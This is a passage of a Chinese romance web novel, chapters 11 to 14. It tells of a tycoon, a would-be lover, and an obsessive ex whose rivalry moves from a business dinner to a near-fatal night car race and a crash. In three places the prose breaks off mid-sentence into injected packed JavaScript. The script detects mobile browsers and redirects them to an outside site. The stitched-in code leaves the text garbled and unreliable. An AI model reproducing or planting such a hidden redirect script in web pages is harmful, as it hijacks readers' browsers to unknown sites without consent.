他眼角含泪,优美的肩部不断耸动,像只被惹了的小白兔:“就一个晚上,一个晚上好不好,乔总……”伸出一根手指想要去拉乔淮生的衣袖,“求求你……乔总……” 手还没伸出去,一件衣服就从头到脚盖住他——乔淮生将自己风衣脱了扔在宁斯与的身上。 “如果只是想借个势,”乔淮生说,“你披着我的衣服出去,外面那些人自然会以为我们睡过。” “以后你出去打我的名号,只要不违法,”他微一耸肩,“我无所谓。” 宁斯与终于知道乔淮生身上那么多花边新闻是怎么来的了。 如果他真的只是像小明星找个靠山,那么乔淮生无疑是个无可挑剔的金主,但是……宁斯与眼睫一垂,一副情根深种的模样—— “但是我想要的是你!” “我不要别人怎么看,我只是想要你看看我!”宁斯与说着开始往乔淮生身边扑,男人身上还带着淡淡的烟草味,那张脸比他之前在圈里见过的还要惊艳,“乔总……就今晚……好不好……” 乔淮生一只手掐住了他的下巴:“至于其他的,” 宁斯与的脸颊很快出现了几道指印,可是乔淮生没有任何怜香惜玉的意思:“我刚刚应该已经告诉过你了。” 那双眼睛似笑非笑,却无端地想让觉得身体发冷,乔淮生指腹用力,缓缓道:“我劝你不要让我说第二遍,你说呢?” 眼底的情.欲褪得干干净净,宁斯与打了个寒颤。 乔淮生抬手开了门:“现在出去,我之前说的话就还作数。” 宁斯与立刻抬手将风衣裹紧了。 见到他这副乖顺的样子,乔淮生这才满意了点,自上而下扫了眼宁斯与,许是想起他里头穿的东西,乔淮生跟着往外踏了一步:“我让司机送你回去。” 只是宁斯与不知哪来的魄力,居然在走到一半的时候还没放弃,眼看着乔淮生就要走远,突然平地一崴往乔淮生怀里一摔:“乔总~” “秦总,张少,”经理正引着一群人往里进,“包厢在这边,位置一早帮您留好了,各位……” 众人的步子被迫停住了。 走廊里,宁斯与整个人小鸟依人般倚在乔淮生的怀中,全身上下只披了件风衣,露出白花花的小腿和分明的锁骨,眼角还带着红,一副刚刚在床上哭过的样子。 乔淮生微微抬眼一瞥。 站在前方的自然是秦舟,而在他旁边那位戴着耳钉吊儿郎当的,正是规划局副局长的侄子张寻。 昨天刚刚宣布开战,今天就开始攻城略地了。 还真是敬业。 不过这么好的机会,乔淮生怎么能让秦舟如愿以偿呢? 那几个人一出现,宁斯与明显觉得乔淮生换了个态度。 秦舟站在隔了半步的距离,看着乔淮生半揽着宁斯与的腰,嘴角含笑,漫不经心的调情模样:“才多久啊路都站不稳了,娇气。” 秦舟的脚步一顿。 咔嚓,四周传来骨节捏动的声响。 11. 第十一章 “哟,”张寻吹了个口哨,“这还没到深夜呢,乔总在这儿就抱上了?” “见笑了。” 乔淮生这才放开手,漫不经心笑了下:“刚跟的,有点黏人。” 他说着,手掌在宁斯与头上随意揉了揉,眼睛盯着的却是秦舟:“张少这是?” “没什么,刚好碰见,跟秦总一起聚聚,乔总呢?” “刚七点就说饿了,”乔淮生说,“也正要去吃个便饭。” “这么巧?”纵缰和恒盛一起来找他,只会一起抬高他能拿的价钱,张寻顺着乔淮生的话,“我看也不用再开一桌了,不如大家一起吧?” “这怎么行!”明明是他们费力把张寻请过来的,怎么能让乔淮生平白得了这个好处,跟在秦舟身后的副总皱起眉,“我看乔总急着回房间呢,到时候玩得晚了,耽误了乔总的事儿,小朋友不是又要闹脾气了。” “是吗?”乔淮生微一挑眉,“那秦总觉得呢?” 此言一出,张寻和副总跟着一起望向了秦舟。 话锋几个转移,最后出来的拍板,还得是秦舟这个邀请人。 让乔淮生去,好容易得来的消息渠道说不准就要让人分一杯羹。 不让…… 几人几句之间心思几转,唯有宁斯与目标始终如一,一只手拉了拉乔淮生的衣袖,整个人几乎都要贴进乔淮生怀里:“随便吃点就好啦乔总,你不是都说了,今晚是我的嘛~” “也是,我看乔总也挺急的,”张寻说,“那就……” “那就一起吧。” 秦舟轻轻地抚了抚衣袖,淡淡道:“前两天乔总在纵缰的晚宴上没能招待好,今日算是聊表歉意。” 是指乔淮生一拳差点没能把秦舟鼻梁打歪的晚宴吗? 副总愤愤不平:“可……” “难得秦总大度,”乔淮生一笑,像是早料到一样,揽着人走在了前面,“那就却之不恭了。” 几人一起去进了包厢,乔淮生和秦舟自然是一左一右挨着张寻坐,宁斯与坐在乔淮生后面,副总则坐在他的对面。 包厢里的空调有点冷,宁斯与里头空空荡荡,忍不住打了个喷嚏, 周围的人都在上菜,按理说应该没人注意到这里,可乔淮生却回过头:“冷吗?” 他伸手找来服务生,让他带来宁斯与换了件衣服,又给他加了条毯子,等宁斯与回来了,才把果汁往他身边推了推,夹了块鱼在他的碗中:“喜欢什么自己夹就行,随意一点。” 宁斯与微一抬头。 但凡带小情人出来参加的酒局的,恐怕没几个能细心到这份上,也没人能说出来乔淮生这句话。 张寻忍不住感叹一句:“我们乔总对小情人这么好啊。” “那是,”底下的人接过话,“整个宁市谁不知道,乔总体贴会玩花钱大方,关键是人长得也不输人家明星,多少人宁可倒贴也要跟乔总睡一觉。” “小朋友,你这个位置可遭人妒恨啊。” 妒恨什么,宁斯与想,我也不是还没吃到。 这么想着,宁斯与胆子又大了些,趁着众人都在聊天,一条腿从餐桌下缓缓地伸出,细白的腿肚蹭上乔淮生被西装裤包裹的长腿,缓缓地蹭了蹭。 乔淮生微一偏头,宁斯与正咬着桌上一朵分子玫瑰,嘴唇压在细长的茎,小舌轻吐,几乎是十足地勾引模样。 乔淮生微微挑了挑眉。 啪嗒! 突兀的声音像是打断香艳画卷的休止符。 “对不起对不起。”那边的副总弯下腰,“我手表掉了。” 宁斯与吓了一大跳,立刻把脚掌收了回来,连带着坐姿一起变得端正,心虚地抬头看了一眼,却正好对上秦舟投来的视线。 那人的眼睛黑沉沉的,像是黑暗里窥视着猎物的狼,又像是深潭,仿佛只要靠近都让人觉得恐惧与寒冷。 宁斯与觉得浑身的鸡皮疙瘩都要被吓出来,紧张地扣了扣手指。 秦舟却在这个时候微微垂下视线,一条腿伸出去,小腿碰到乔淮生的腿肚,在刚刚宁斯与碰过的地方用力,像是擦拭着什么不干净的东西一样,强迫乔淮生分开双腿:“好像是掉在这里了。” 说罢,才用鞋尖轻轻地一踢,将那块表重新拨回到副总那里,像是将一段乱了的秩序拨回到正轨:“现在好了。” 副总弯腰把那块表收了起来。 “晚上光暗,”秦舟目光沉沉,“做什么事还是小心一点。” 宁斯与一震,脚尖紧紧并起,低头喝了口汤,再也不敢乱动。 唯有中间坐着的张寻还对这发生的一切一无所知,正巴巴地发表着自己的演讲:“之前还有一个项目,是关于宁大那边的。” “我记得乔总是宁大的毕业吧,”张寻说,“我大学也在宁市,就在宁大隔壁,宁财!但是当时你的消息,哎哟贴的我们学校都是,当时我妈一提起来就是——你看看人家。” 现在自家叔叔走运升了官,让当初的那人坐在自己下位敬酒,这样的满足感确实是无法言说的,张寻跟他碰了个杯:“谁能想到,我现在能跟你一起喝酒呢。” “张少说笑了,”乔淮生仰头将那杯酒喝掉,“要是我当时知道,咱们大学说不定就是好朋友了。” “听说张少也喜欢赛车,我那边新到了辆科尼塞斯,回头我让人给张少送回去。” 张寻忍不住哈哈大笑起来。 “说起来,我们秦总也是宁大的毕业呢,”副总忍不住将话题扳回来,“就是后两年出国了。” “哦?是吗,你也是宁大的?”张寻说,“那你们俩岂不是要认识?” 乔淮生跟着望了眼秦舟。 看着他晃了晃手中的杯子,垂眸道:“那时候的乔总,有谁能不认识吗?” 这话说得礼貌又生疏,好像他也只是曾经和张寻一样无数的观看者之一,从未那样浓墨重彩地参与过他的人生。 “是啊,学校这么大,也不是想遇见就能遇见的。” 要处心积虑,要无孔不入,要像黑暗中闪烁的红光,要将一个人的生活完全嵌入另一个人的生活。 “不过既然是校友,”乔淮生举杯,“那还是,缘分。” 五年后的见面,连寒暄也敷衍,秦舟跟他碰了下,嘴角的笑像是在自嘲:“是挺缘分。” “当然是缘分!”张寻说,“咱们今天聚在这里也是缘分。” 语气一转,又回到了刚刚的话题: “宁大那项目,说是要扩建,叔叔最近忙着清江湾那边,就把这个交给我了。” 张寻主动提起清江湾,两人一同抬起了头。 “你们也知道,现在财政哪哪都紧张,但是学校这种地方又不能糊弄,我正和校方商量能不能校友会筹点款,没想到这一下找过来两个青年才俊。” 张寻语气微妙:“到时候校友会,二位可要多捧捧场啊。” 这几乎是明摆着要东西了。 副总接过话:“那当然,张少的项目,我们纵缰一定上心。” “我本来就是宁市人,”乔淮生说,“不用张少说,为母校办点事情也是应该的。” “是嘛,”这种被捧着的感觉让张寻非常受用,忍不住拿出从官场上学来的派头,“那就看两位的诚意了。” 这个世界上最讨厌的就是这种碰了两句就不知道自己姓什么的人。 当然,最好拿捏的也是这种。 乔淮生微一挑眉:“张少想看什么诚意呢?” “这个嘛,” 张寻回过头,看着乔淮生往椅背上一靠,明明是询问的语气,可是他说起来,却总有一种发号施令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861083|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子。 而他的身边,宁斯与小鸟依人地坐着,正给乔淮生挑盘子的鱼刺。 明明是来招待他的场子,可是从进门开始,宁斯与也好秦舟也好,一双眼睛都黏在乔淮生身上,好像不管到哪里,做纨绔还是优等生,这人永远是所有人视线的中心。 “我看乔总身边这小朋友挺贴心的。” “就是在圈里混嘛,光喝果汁怎么行,来来来,”张寻说着倒了杯酒,“过来,张少教你喝一杯。” 宁斯与的动作蓦地定住了。 张寻说得对,当了这种身份,被人换着取乐的事都多的是,何况只是陪个酒。 就算是他再笨,应该也看得出来,乔淮生肯定是有求于张寻,更不会为了他拂人的面子。 “好啊,”躲不了的事只能尽力笑着面对,宁斯与扬起脸,“那我来……” “我来陪张少喝吧。” 一只手挡在他的面前,将那杯酒拿了过来,仰头一饮而尽:“小朋友不会喝酒,等会儿在张少面前闹了笑话就不好了。” 一杯见底,乔淮生面不改色,握过分酒器又添满了一杯。 连饮三杯,是个标准的赔罪态度,乔淮生的姿态语言都不挑不出半分错,他一向是这样做事尽善尽美的人。 秦舟握着杯子的手骨节泛白,眸色几乎比刚才还要冷,抬眸看了旁边的张寻一眼。 “乔总……”宁斯与望着乔淮生的侧脸,眼泪在眼眶里打转,等乔淮生喝完了酒,又小心翼翼地推了杯果汁在他的旁边,试图帮他缓解一下。 “没事儿。”乔淮生的嗓子有些哑,却只是望了张寻一眼,“张总要诚意,行啊。” 他抬眸笑道,不见怒气,好似邀请:“西山那边新开了个赛车场,连路边都是灯火通明,正好适合夜猎。” “不然明晚我做东,一起去玩玩?” “好啊,”张寻立刻点头,“听说乔总赛车玩得厉害,刚好,给我开开眼。” “那怎么行!” 明明是他们找来的人,怎么转头跟了乔淮生,“咱们……” “那就一起吧。”旁边的秦舟接过话。 “我请乔总吃个饭,乔总带我开开眼,礼尚往来?” 乔淮生淡淡地笑了下:“行啊。” “什么,”张寻回过头,“秦总平时也会玩车吗?” “会一点。” 话题本该到这里就结束,可秦舟直勾勾地盯着乔淮生的眼睛,像是回应刚刚那句校友: “前男友教的。” 张寻一口酒喷了出来。 “我去趟洗手间。”乔淮生突然在这个时候站起了身。 “乔总。” 水流声像是盖住的思绪,乔淮生刚刚站在镜前,一双手就顺着抚上了他的肩膀,几乎将他整个人按在水池边: “我记得你之前……应该没有替人喝酒的习惯?” 乔淮生被迫仰起头,从镜中凝视着背后西装革履的人:“是啊,之前是没有。” “这不是拜你所赐吗?”声音几乎是从牙缝中挤出来,“秦、舟。” 如果没有当初的背叛,乔淮生估计会永远是那个天真脆弱的淮少。 而不是身不由己的乔总。 “那这么说,你应该谢谢我。” 秦舟笑了下,那只手顺着乔淮生的肩头抚到锁骨,修长的指尖一点点挑开衬衫领口,露出光滑的、干净的胸膛。 乔淮生挣扎了一下,却被秦舟更紧地按在怀中,一只手掐着下巴,长腿插.入他的双腿之间,强迫他看着镜中的自己——只看着自己。 看着他像是审视领地般,一点点地剥开他的衣扣。 “没有味道,”秦舟的鼻尖埋在乔淮生的领口,几乎是缱绻般地嗅了一下,“生生,” “你真的跟他上.床了吗?” 12. 第十二章 “是吗?”乔淮生嗤笑了一声,“你问哪一次?” 说罢,也不管秦舟难看到快要杀人的眼神,抬手将衬衫往下一撕,纽扣随之崩裂开来,露出结实漂亮的腹肌:“想看?” 劲瘦的腰身线条没入西装裤中,反而更引人遐想,乔淮生漂亮的眉眼氤氲在镜中:“那你大可以让每一个过来的人都看看。” “反正我的花边新闻这么多,也不差秦总这一条。” 秦舟搭在乔淮生腰间的手不自觉地收紧,他已经做好了要承受这个人愤怒的准备,结果没有。 让乔淮生这副样子出去见人,最生气的肯定不是乔淮生本人。 所以那人轻轻松松就挣脱了他的桎梏:“怎么,不敢了?” 乔淮生冷笑了声,一只脚在他刚刚蹭过自己的那条腿上踢了踢,昂贵的西装裤上很快就沾上了脏污:“所以你还是老实点。” “除非……想让另一条腿也断上一次?” “干嘛这样看着我,”乔淮生眼角含笑,张开的衬衫好像是勾人的纱,可出口的话却是风流薄情,“秦舟,既然背叛了,那就做得彻底一点。” “别恋旧情。” 乔淮生的手指搭在他的领口,像是第一次为顾舟整理领带那样,替他把弄乱的领带放回原位。 那次是顾舟去第一次去公司面试,乔淮生吻了他的侧脸,让他回来的时候买糯米酒来做酿鱼,又顺带祝他凯旋。 “也祝福你,”指尖灵活地将领带打了个结,乔淮生说,“千万别输。” “千万,别落我手里。” * 秦舟的脸色直到第二天去了车场也没有好起来。 宁斯与吓了一大跳,总觉得秦舟那个脾气是冲着他,但是仔细想了想觉得自己跟这位秦总应该也没什么仇,只好往乔淮生身边凑了凑:“乔总……” “喜欢哪一辆?”乔淮生连看都没看往那边看一眼,下巴一抬,“自己去挑。” 夜猎基本是在午夜,路灯却照得周围的山林都恍如白昼,十几辆跑车一字排开,说不出的奢靡。 宁斯与没动:“我,我不太会,乔总。” “没事儿,”乔淮生说,“有我在呢你怕什么,会开车就行。” 他说着,随便选了辆旁边的红色法拉利,让宁斯与上了车,自己站在旁边,很耐心地教他:“对,现在是点火……看到那个拨片了吗,往上抬就是换挡……跑道是18分钟算圈数……嗯,不用急,输了也没什么?” “哟,”张寻搂着个美女,忍不住说了句,“乔总之前是做过赛车教练嘛,教起人来都这么细致。” “那倒没有,”乔淮生直起身,轻描淡写: “前男友感兴趣,教过他罢了。” 张寻和宁斯与齐齐抬起头。 张寻在脑海中找了半天,也没想起来乔淮生那么多花边新闻里到底哪一个是盖了章的前男友:“他是做什么的?” “没做什么,”乔淮生笑了声,像是在自嘲,“一个破修车的,早分开了。” 旁边的秦舟脚步一顿,仿佛被钉在原地。 乔淮生刚绕到副驾,一只骨节分明的手突然搭在车旁:“要比一下吗,乔总?” “不用了吧,”乔淮生眼都不抬,仿佛刚刚那位前男友,真的是个无关紧要的人,“你跟我的赛场,还不够多吗?” “乔淮生,”秦舟微微俯身,语气低而轻,“我想跟你比。” 乔淮生盯着前方,好半晌,才轻轻地笑了下:“你想不想跟我有什么关系?” “秦舟,到了现在,你不会还以为自己有跟我提要求的权利吧?” 说罢,压根没管秦舟还放在车门旁的手,砰得一声关上了门! “怎么一个人啊秦总,”张寻的手搭着美女的腰,看了眼正一个人走向赛车前的秦舟,“不找个暖车的吗?” 回答他的是一声剧烈的关门声。 裁判一声枪响,三辆车同时出发。 飞驰的车影像是拉开夜色的弧线,张寻的油门还没找到,旁边一黑一红两辆车便闪电一般冲了出去。 “我去!”第一次听说带人来玩车把客人扔后面的,张寻气得破口大骂,“你俩记得去做.爱吗?!” “别生气张少,”旁边的美女三下五除二帮他挂好了档,“说不定你后来居上,” 她眼中的笑很灵动,抬头看了仪表盘一眼:“别有奇遇呢?” 张寻这才一脚油门追上去,可前方的乔淮生和秦舟早已不见了踪影。 * “换挡提速。”乔淮生坐在副驾,冷声命令。 宁斯与没问他为什么刚刚为什么没等张寻,听话地一脚踩上油门,车身拉出一道残影。 可是他们刚刚往前冲,后面那辆黑色莱万特就如影随形地追了上来,紧跟在后咬得死紧,车身几乎擦着乔淮生的车旁。 两辆车像是黑暗中相互窥视的两匹饿狼,都在等待着对方的破绽。 眼看到了第一个弯道。 “别看他。”搭在方向盘上的手微微发抖,可乔淮生的声音是令人安心的镇定,“右边,打满。” 宁斯与猛地一个回旋,车身随着转弯剧烈漂移,像是甩尾一般将莱万特甩到了身后。 “向左,回正。” 又是一道指令,巨大的轰鸣声在地上扬起尘土,车子紧贴着边缘擦了弯。 道路在前方收窄,旁边便是深沟,只能容许一辆车通过,宁斯与稍稍松了口气,油门也松了一点,再次见到乔淮生,终于有机会问出那句想问的话: “乔总,你昨天为什么要替我挡酒啊?” 即便是知道希望渺茫,宁斯与还是抱着一点期待——乔淮生能有那么半分是被他所打动。 “替你?”乔淮生轻嗤了声,“张寻明显是冲我来的。” “让别人因为我当成玩物,我做不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861084|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这个。” 想要的答案失败了,但宁斯与不知为何心跳快了下,只能强迫自己转移话题:“可是张少为什么要针对你?” “不知道,”乔淮生说,“不过他也蹦跶不了多久了。” “什么?”宁斯与没有听清,往乔淮生身边靠了靠,这样看起来,就好似两人相互依偎在一起,差点就要吻上似的。 其实夜猎的猎,还要个说法——是猎物的猎。 月黑风高,香车美人,确实很容易出事。 “因为……” 乔淮生的话还没有说话,身边突然一声剧烈的—— 轰! 巨大的轰鸣声响在耳边,黑色的车身像是黑暗中窥视的毒蛇,小半个车身都快要翻进沟壑,居然在这种情况下硬要追上来。 明明只容许一辆车通过的窄道,毒蛇却非要钻出一条生路——只看即将被咬的那个人给不给放行。 “……乔总?” “别管他,”乔淮生收回视线,“不用降速,继续走!” 可身后的黑蛇却如同附骨的影子,丝毫没有降速的意思,跟着继续寻找空隙,车身向左一打,轮子边缘几乎擦着沟壑,再近一点,就要车毁人亡。 轰鸣声鼓噪着耳膜,死亡与救赎只在一线之间,可抉择的权利却放在另一人的手上。 他似乎是用这种方式,逼得乔淮生不得不望向他—— 只望向他。 宁斯与死命地抓着方向盘,可是手指还是忍不住发抖,车身稍稍露出一点缝隙。 擦着崖边的轮胎冒出火花,猛地咬了上来! 黑色的车身几乎是紧贴着红色车身,一个轮胎已经滑出场外,好像是死亡前的最后一吻。 在落下之前,乔淮生终于轻轻地闭了下眼睛。 随后,一把捞过宁斯与手中的方向盘,在错身的一瞬间右转后撤,长风扬起,乔淮生面容冷峻,在到达莱万特车尾的一瞬间,猛地冲了出去! 巨大的推力将掉出去的半个车身猛地推向前方,终于回到了赛道上。 撞碎的后视镜飞溅其间,直到再也看不见乔淮生的脸。 但是秦舟却在这样的对峙中得到一种久违的满足,好似第一次剧场找乔淮生,人群中一眼就看到他的笑颜。 曾经那么相爱过的人,原来现在也会毫无波澜。 平静、平静,令人的心烦的平静,令人厌恶的平静,生平第一次,秦舟觉得平静原来是如此的面目可憎。 是乔淮生让他沸腾起来的,现在他变成这样,这个人怎么能独善其身呢? 这辈子,从生到死,他应该只能看着自己一个人才对。 砰—— 明明已经回到赛道,莱万特却没有丝毫减速转弯,漆黑的车身像是赴死的鲸鱼,一头撞上了旁边的山石。 刺耳的急刹声与挡风玻璃的碎裂声一同响起。 车厢里,一瞬间鲜血飞溅。 13. 第十三章 乔淮生倒是没说错。 他前男友以前确实干过修车。 赛车是关硕的,撞坏了扔在修车行,自己也因为这件事被他爹扔去集训班里,只能委托乔淮生去取。 “淮少这边请,”乔淮生一进去,立刻有人引着他往里走,“车子基本已经维护得差不多了,我们正在给关少进行最后的保养,您稍微等一下就可以开走了。” 能送到这里的都是好车,在扳手与抛光中,之前还在赛场上飞驰的车身像是任由摆布的玩具,乔淮生看着他们为它擦去伤痕,沿着油漆浓重的地方往里走。 “好了,关少的车就在这里了。” 戴着白手套的人正在对车身进行最后的擦拭,闻言将车门一关抬起头,微微一愣。 乔淮生的脚步瞬间顿住了。 是顾舟。 穿着深蓝色工作服的顾舟,身材依然是有些鹤立鸡群的高挑,黑亮的双眸自从盯住乔淮生之后便没有移开。 “动作快点,淮少等着拿车呢!” 老板说了他们一句,随后招招手:“来,小杨,你带着淮少去试个车。” “不用,”那人还没跑过来,乔淮生一抬下巴,“我觉得他就挺不错的。” 老板跟着他的视线望向旁边的顾舟:“他?” “他怎么能行呢淮少,他才来了多久,车技也……” “没事儿,”乔淮生已经一只手拉开车门,“撞坏了算我的。” 顾舟只得坐上驾驶位,一只手去点火:“我没开过跑车。” “会开车不就行了,跑车有什么不一样吗?” 乔淮生弯下腰,毛衣下面是劲瘦的腰身,向顾舟展示仪表盘:“看到这个了吗,这个是速度……这个是换挡,向上一拨就可以了,如果要点火的话就是……” 乔淮生讲起东西很细致,他鲜少在面对顾舟的时候表现出如此温和,顾舟盯着他弯腰时露出的一截颈骨,听到乔淮生在讲完之后回过头:“好啦。” “你听懂了吗?” 顾舟这才收回视线。 “没事儿,”乔淮生只当他的沉默是因为紧张,起身让开驾驶位,“撞坏了我就从关硕那里把这辆车买过来。” “反正你本来就欠我一瓶酒,也不在乎多一辆车吧?” 话音刚落,顾舟就一脚油门冲了出去。 道路在他们的身后急速后退,山坡像是泡水的胶片般逐渐显形,车身在上坡时猛地一个右转。 也许是因为没有多少机会实战,顾舟开车还没有被城市的条条框框规范,几乎有一种莽撞又野性的直觉。 仿佛这人素日里的平静只是伪装的假象,内里便如同这巨大的轰鸣声般汹涌。 “你这胆子……”乔淮生说,“倒是真适合玩赛车。” 顾舟轻笑了声,像是在嘲讽小少爷的天真——今天如果不是乔淮生,他这辈子恐怕连给跑车试车的机会都没有:“我没怎么开过车。” “跟这个没关系,”乔淮生没听出他话里的意思,“有些人对一些事就是生下来就有天赋。” “说起来,”乔淮生问,“你不是在会所,怎么突然来车行了?” 小少爷的眼中清澈又单纯,好像对那晚的血腥一无所知。 “没什么,”顾舟说,“想换一个。” “喜欢车?” “确实,”乔淮生自顾自点点头,“赛车在某种程度上会让人产生濒死的错觉,这种感觉……是很令人着迷。” 他仿佛一瞬间想起那个昏暗的小巷,偏过头:“顾舟,你要不要试试?” “什么?” “看到那个弯道了吗?”乔淮生下巴一抬,“穿过去。” 跑道之外的废弃弯道,外面一半是断崖,稍有不慎就可能连人带车一起翻过去。 “就是现在,”但是乔淮生面无表情地说,“提速!” 车身发出巨大的轰鸣,像是赛场的一道扭曲的闪电,朝着弯道猛地冲了出去。 “对! 就是这样!” 乔淮生笑起来,声音里也染上了几分激动:“往左,贴紧!” 方向一转,车身剧烈地往左偏移,半个轮胎已经探出道路外,乔淮生的身体紧贴着玻璃,几乎是再偏移一点点,就要跟着这辆车一起翻下去。 顾舟的位置还可能有生还的可能,但是这样的坠落,乔淮生必死无疑。 可他的眼中看不出一点点的害怕,有的只是一种对于死亡近乎狂热的兴奋——顾舟还记得曾经在什么时候看过这个眼神。 脚下的油门猛地松开,顾舟一把方向,从弯道中退了出来。 “为什么要回来,”乔淮生蓦地回头,“你刚刚明明可以过去!” 顾舟将方向回正,速度也慢了下来:“我不适合这个游戏。” “不适合?你刚刚不是开得挺好的。” 顾舟没说话,将车子往自己这边打了一点。 “说话啊,你刚刚开车的时候明明挺有兴致的,还要跑来去车行,”乔淮生道,“难道你自己不喜欢?” “喜欢?”顾舟望他一眼,看着大少爷漂亮的脸上蹙起的眉头,“乔淮生,难道你觉得我喜欢的东西,我就能够拥有吗?” 乔淮生沉默了一瞬。 “可是你都没有尝试过你怎么知道不能拥有?”乔淮生说,“你不想开我开,靠边停——” 车身剧烈地震了一下,乔淮生差点没一头栽到挡风玻璃上,顾舟居然真的停下了。 乔淮生偏头看他一眼:“你要停好歹给个预兆吧。” 顾舟没说话,拿起钥匙又打了两遍火,车子纹丝不动,最后不得不抬起头:“好像……真的坏了。” “怎么,”乔淮生微一挑眉,“我只是说了你两句,你还真想让我把车买了啊。” 顾舟那张古井无波的脸上罕见地出现了一丝无措。 乔淮生忍不住笑了声:“行吧。”他伸出手,“手机给我。” 顾舟没动。 “给我啊,”乔淮生说,“不然我要怎么买车?” “我没带。” 很明显,乔淮生也没带。 比起淮少是不是真的要多拥有一辆跑车,现在面临着一个更大的问题——他们似乎被困在荒野里了。 如果等修车行的人发现异常,摸着道路找过来,大概需要多久? 乔淮生的表还没拨过去,顾舟已经推门下了车。 “你干什么去?” “修车。” 他说着,一把将车前盖掀了起来。 只可惜顾舟本人也是个刚刚被招进去的新手,那堆凌乱的线看了半天,也不见他真的动作。 乔淮生懒洋洋地打了个哈欠。 等他睡了一觉醒来,发现顾舟的外套正盖在自己身上,是和之前砸在自己头上那堆衣物一样的皂角香。 唯一的一件御寒衣服在他这里,顾舟身上只穿了一件T恤,流畅的肩部肌肉一览无余,正拿着扳手对着一堆线叮叮当当。 “还没修好?” 乔淮生话音刚落,肚子突然发出一阵咕咕声。 从早上开始就没吃饭,到现在,乔淮生终于罕见地体会到了饥饿的感觉,纵使精神上并不在意,可身体的本能还是不断地像乔淮生彰显着它的存在,乔淮生的喉结滚动了下。 顾舟从旁边的工具箱里拿了块面包递给他,乔淮生立刻咬了一大口,一转眼发现顾舟正盯着自己,于是又矜持地小口小口地嚼着:“干什么?” “人饿了就是要吃饭。”唾液的分泌加重了胃部对食物的需求,乔淮生又咬了一口,“这不是很正常的吗?” 顾舟望着他,轻笑了一声。 “怎么,很好笑?” “你说得对,”顾舟说,“人饿了就是要吃饭。” “我之前跟你说……人不是非要爱才能活下去的。” 乔淮生忍不住抬眸看了他一眼,才发现顾舟是在跟他解释,解释他们之间那场不欢而散的争论。 解释他为什么可以这样活下去。 “饿了吃饭,渴了喝水,起床、吃饭、学习、有一个家庭有一个住所有一个工作……”顾舟说,“别人都是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赛车几乎是擦着边缘过了弯,乔淮生油门不松,碎发被山风吹得飞起,脸上却带着笑,不是对于濒死,更像是自由:“怎么样?” 那颗痣的像浮动的光,就这么出现在顾舟的视线里,他看到乔淮生微微偏头,漂亮的脸像一幅被定格的画:“喜欢吗?” 一瞬间,顾舟听到自己的心跳的声音。 却并不由于乔淮生所说的死亡刺激。 “如果一直这样麻木地过下去的话,”乔淮生开口,顺着顾舟之前的话题,“应该也会挺无聊的吧?” “所以——” 没有听到回答,乔淮生只当答案是肯定,他弯起眼睛,眼底像是细碎的月光: “我教你玩赛车吧,顾舟?” 乔淮生一只手换挡:“就像你教我怎么活着。” 车子猛地向前飞驰,山色湖光被落日笼罩,那是顾舟第一次觉得夕阳很漂亮,因为他听到乔淮生说: “喜欢的东西,不试试怎么知道能不能拥有呢?” * 宁斯与猛地尖叫了一声。 莱万特的车头都被撞得瘪了进去,好半晌,也听不到那边传来的声音。 这种时候越是沉默就越是危险,宁斯与不敢动,只是看了眼旁边的乔淮生:“……乔总。” 乔淮生垂着眼,脸色阴沉。 这么久以来,宁斯与第一次见到这个总是风流含笑的人脸上有这么可怖的表情。 好半晌,乔淮生才推开车门下去。 秦舟的挡风玻璃已经被撞碎了一大块,碎片沿着他的眉骨划过,让原本锋利的脸上带了一点血痕。 他仿佛是在等待着乔淮生过来,等乔淮生真的走近了,这才打开车门:“你看,” 鲜血顺着秦舟的侧脸流下来,好像是初见,可是当时那双平静的眼睛已经充满了疯狂的欲望与占有,他望着乔淮生,仿佛是鬣狗望向自己势在必得的猎物,又仿佛跨过五年,望向当初的那个人: “我现在学会了,生生。” 14.第十四章 “他赢不了我。” 秦舟微微勾起唇角。他几乎有些缱绻地盯着乔淮生的脸,那张过了五年,却依然漂亮到让人怦然心动的脸。 真是好想,好想现在就将人抱在怀里,冲下山崖,一同死去。 秦舟在笑,丝毫不顾自己脸上还在下落的鲜血,笑容痴狂又扭曲:“你也是。” 乔淮生一巴掌挥了下来。 秦舟避都不避,手掌靠近时只嗅到乔淮生涂在袖口的黑醋栗,就在他以为那巴掌即将落到脸上的时候,乔淮生却一把抓住了他的领口。 “怎么?”乔淮生嗤笑一声,“该不会以为我要扇你?” “你跟我现在什么关系啊,想让我来管你。” 眉骨上的鲜血顺着下巴坠落到乔淮生的手心,秦舟垂眸看了眼四周破碎的玻璃:“你没管吗?” “秦舟,”乔淮生提着他的领子让他被迫仰望着自己,“你想听什么?” “我刚刚之所以倒车是因为在乎你,之所以退后是因为担心你,我对你旧情难忘情根深种,即便是隔了五年还是不能割舍无法不在意?” 他每说一句,秦舟的睫毛就颤一下,可乔淮生用另一只手拍拍他的脸:“逼着我做决定,不就是为了证明这些吗?” “想知道吗?” 